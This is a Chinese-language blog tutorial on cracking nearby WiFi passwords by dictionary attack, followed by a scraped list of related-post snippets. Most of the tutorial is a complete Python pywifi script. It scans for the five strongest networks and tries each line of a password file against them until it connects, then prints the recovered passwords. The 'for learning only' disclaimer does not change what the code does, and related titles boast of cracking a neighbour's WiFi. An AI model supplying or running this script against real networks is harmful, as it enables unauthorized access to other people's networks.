python破解wifi-Python利用字典破解WIFI密码的方法
最近看到网上的一些作品,然后进行一些完善。只是用于学习,不要去干坏事哦。程序来源于网,我只是做了一些优化。当然这种方法破解还是有点慢哦。我用的python 3.6.5
既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块。
有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的。
本地安装方法:
1)下载解压好以后,我们用cmd命令行,进入到你的文件目录
2)使用命令pip install . 注意了(install后面有个点)
3)然后就会安装了,等一会就可以了。
程序先查找附近的WIFI,然后按信号强度进行排序,然后只取前wificount=5个信号好的。
import pywifi
from pywifi import const #引用一些定义
import time
namelist = []
ssidlist = []
result = [] #存放查询到的WIFI,密码
wificount=5 #查询附近信号最强的5个WIFI,最多5个
def getwifi():
wifi=pywifi.PyWiFi()#抓取网卡接口
ifaces=wifi.interfaces()[0]#获取网卡
ifaces.scan()
time.sleep(8)
bessis = ifaces.scan_results()
list = []
for data in bessis:
if(data.ssid not in namelist): #去掉重复的WIFI名称
namelist.append(data.ssid)
list.append((data.ssid, data.signal))
sorted(list, key=lambda st: st[1], reverse=True)
time.sleep(1)
n=0
if len(list) is not 0:
for item in list:
if(item[0] not in ssidlist):
n=n+1
if n<=wificount:
ssidlist.append(item[0])
print(ssidlist)
def testwifi(ssidname,password):
wifi=pywifi.PyWiFi()#抓取网卡接口
ifaces=wifi.interfaces()[0]#获取网卡
ifaces.disconnect()#断开无限网卡连接
profile=pywifi.Profile()#创建wifi连接文件
profile.ssid=ssidname#定义wifissid
profile.auth=const.AUTH_ALG_OPEN#网卡的开放
profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法
profile.cipher=const.CIPHER_TYPE_CCMP##加密单元
profile.key=password #wifi密码
ifaces.remove_all_network_profiles()#删除其他所有配置文件
tmp_profile=ifaces.add_network_profile(profile)#加载配置文件
ifaces.connect(tmp_profile)#连接wifi
time.sleep(5)#5秒内能否连接上
if ifaces.status()==const.IFACE_CONNECTED:
return True
else:
#print("[-]WiFi connection failure!")
return False
#ifaces.disconnect()#断开连接
#time.sleep(1)
return True
def main():
getwifi()
#ssidlist = ['Oun'] #如果知道WIFI直接写就行了。
if(len(ssidlist) is not 0):
path=r"password.txt"
files=open(path,'r')
while True:
if(len(ssidlist) is 0):
break
try:
password =files.readline()
password=password.strip(' ')
if not password:
break
for item in result: #把已经找到密码的WIFI从查询中删除。
ssidlist.remove(item[0])
for ssidname in ssidlist:
if(testwifi(ssidname,password)==True):
result.append((ssidname,password)) #把找到的WIFI密码保存起来
print('Succ','Current WifiName:',ssidname,'Current Password:',password)
else:
print('Fail','Current WifiName:',ssidname,'Current Password:',password)
except:
continue
files.close()
print(" ","WIFI结果列表:")
for item in result: #把已经找到密码的WIFI从查询中删除。
print("")
print("无线:",item[0])
print("密码:",item[1])
else:
print("没有找到WIFI信号,请重试。")
if __name__ == '__main__':
main()
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对脚本之家的支持。如果你想了解更多相关内容请查看下面相关链接
python破解wifi-Python利用字典破解WIFI密码的方法相关推荐
- Python编程对列表中字典元素进行排序的方法详解
@本文来源于公众号:csdn2299,喜欢可以关注公众号 程序员学府 本文实例讲述了Python编程对列表中字典元素进行排序的方法.分享给大家供大家参考,具体如下: 内容目录: 问题起源 对列表中的字 ...
- python requests库api_python利用requests库进行接口测试的方法详解
前言 之前介绍了接口测试中需要关注得测试点,现在我们来看看如何进行接口测试,现在接口测试工具有很多种,例如:postman,soapui,jemter等等,对于简单接口而言,或者我们只想调试一下,使用 ...
- python dict遍历_python遍历字典dict的几种方法汇总
python遍历字典dict的方法: dic={'a':'how','b':'are','c':'you'}; 方法1, for key in dic: print key,dic[key] 方法2, ...
- Python编程中列表、字典、元组的使用方法总结
一. 列表 1. 列表的一些常用方法 append 在列表尾部增加元素,该方法无返回值 In: a = [1,2,3,4]b = a.append(5) Out: a = [1,2,3,4,5]b = ...
- 关于破解server2003和普通PC机开机密码的方法心得
最近实验室的一台服务器的开机密码被一个同学改了,然后他又忘记了密码,为此装在次服务器上的很多东西都不能用了,现在将我破解它的方法介绍一下. 要用到的工具:WINPE.深山红叶PE工具箱V32正式版(网 ...
- cmd命令删除计算机密码,win7系统下如何利用DOS清除CMOS密码的方法
假如自己忘记了进入CMOS设置程序的密码,除了可以在主板上使用跳线短接清除的方法之外,其实我们还可以使用软件操作方法来清除,下面PConline的小编就来给大家介绍一下如何在DOS下清除 win7纯净 ...
- 破解 MySQL5.7 数据库的 root 登录密码
本文档详细介绍破解 MySQL5.7 数据库的 root 登录密码 忘记 root 登录密码 [root@MySQL1 ~]# mysql -uroot -p1231234 mysql: [Warni ...
- 骚操作!昨晚停网,我写了一段Python代码破解了隔壁小姐姐的wifi密码...
点击上方蓝色小字,关注"小詹学Python" 重磅干货,第一时间送达 本文来源于小黄鸭编程社区 昨晚,家里停网了,对于码农而言,停网了,这能忍?打电话给修网络的,说太晚了,要第二天 ...
- 昨晚停网后,我写了一段Python代码破解了隔壁小姐姐的wifi密码,结果亮了!
昨晚,家里停网了,对于码农而言,停网了,这能忍?打电话给修网络的,说太晚了,要第二天才能过来... 突然发现隔壁妹纸的wifi信号满格哇,这让我动了邪念,看有没有办法蹭下网,首先,用的是万能钥匙,没有 ...
- 昨晚停网后,我写了一段Python代码破解了隔壁小姐姐的wifi密码
昨晚,家里停网了,对于码农而言,停网了,这能忍?打电话给修网络的,说太晚了,要第二天才能过来... 很多人学习python,不知道从何学起. 很多人学习python,掌握了基本语法过后,不知道在哪里寻 ...
最新文章
- pcb外观维修_电路板常用维修技巧,送给从事维修工作的兄弟姐妹们
- 和我一起学《HTTP权威指南》——安全HTTP与HTTPS
- windows系统下如何把excel数据转换成markdown格式的表格
- 解决iex -S mix报错
- 月头月尾oracle取数,Oracle分析函数Over()的使用
- ZooKeeper 的工作流程
- 替换 Nginx 使用 Caddy 作为博客静态服务器
- 【填坑中】学生信息管理系统
- php日志缓存,php – Symfony和Docker – 缓存和日志目录权...
- MySQL抽稀_Android GPS定位轨迹抽稀之道格拉斯-普克(Douglas-Peuker)算法详解
- 小甲鱼【C语言】《带你学C带你飞》笔记
- 计算机毕业设计(附源码)python-志愿者管理系统
- 陶哲轩实分析 习题5.5.2
- matlab 质心,Matlab中三点确定质心
- 京东手机评论分析(二):关键词提取
- “番茄工作法” 工欲善其事必先利其器
- python菜单怎么做_Python 城市菜单详解(超详解)
- spark ML算法之线性回归使用
- 无线便携式脑电-smarting pro
- 流氓软件清理大师|Windows流氓软件清理大师官方免费版下载 v6.5
热门文章
- 历届二级c语言pdf,历年全国计算机二级C语言题库.pdf
- Python深度学习路线
- python从入门到精通——完整教程
- Matlab7.0安装教程
- Python中虚拟环境与网络IP地址、端口、socket套接字【详细】
- 小米蓝牙音箱驱动_新品频发,小米 Air2 SE真无线蓝牙耳机即将开售
- JDK下载以及配置教程
- 2012.3.27《JAVA程序设计教程》
- poi mysql 导出 excel乱码,本地tomcat正常,但liunx poi excel下载却内容乱码问题的解决方法-学派吧...
- hmtl--textarea的滚动条(转)